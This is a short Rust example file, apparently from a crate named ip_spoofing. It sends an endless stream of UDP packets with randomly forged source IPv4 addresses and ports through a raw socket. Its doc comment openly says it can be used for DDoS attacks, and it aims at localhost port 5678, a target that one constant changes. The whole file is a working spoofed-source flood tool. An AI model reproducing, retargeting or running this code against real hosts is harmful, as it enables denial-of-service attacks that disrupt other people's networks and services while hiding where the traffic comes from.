udp_flood/udp_flood.rs
1use ip_spoofing::{self, RawSocket, ReusablePacketWriter, rand::*};
2
3/// This example shows how to generate a bunch of fake UDP packets.
4/// It can be used to perform DDoS attacks.
5///
6/// In this case it will spam UDP packets to `127.0.0.1:5678`
7fn main() -> ip_spoofing::Result<()> {
8 //wrapper around raw sockets, requires root privileges
9 let socket = RawSocket::new()?;
10
11 //wrapper for writing packets in pre-allocated memory
12 let mut writer = ReusablePacketWriter::new();
13 //thread-local pseudorandom number generator
14 let mut rng = rng();
15
16 //endless spam with a randomly generated UDP packet
17 loop {
18 let ret = socket.send_fake_udp_packet(
19 &mut writer,
20 rng.random(), //random source IPv4 address
21 rng.random(), //random source port
22 [127, 0, 0, 1], //destination IPv4 address
23 5678, //destination port
24 b"hey", //data
25 64, //TTL on most Linux machines is 64
26 );
27
28 if let Err(err) = ret {
29 println!("{err:?}");
30 }
31 }
32}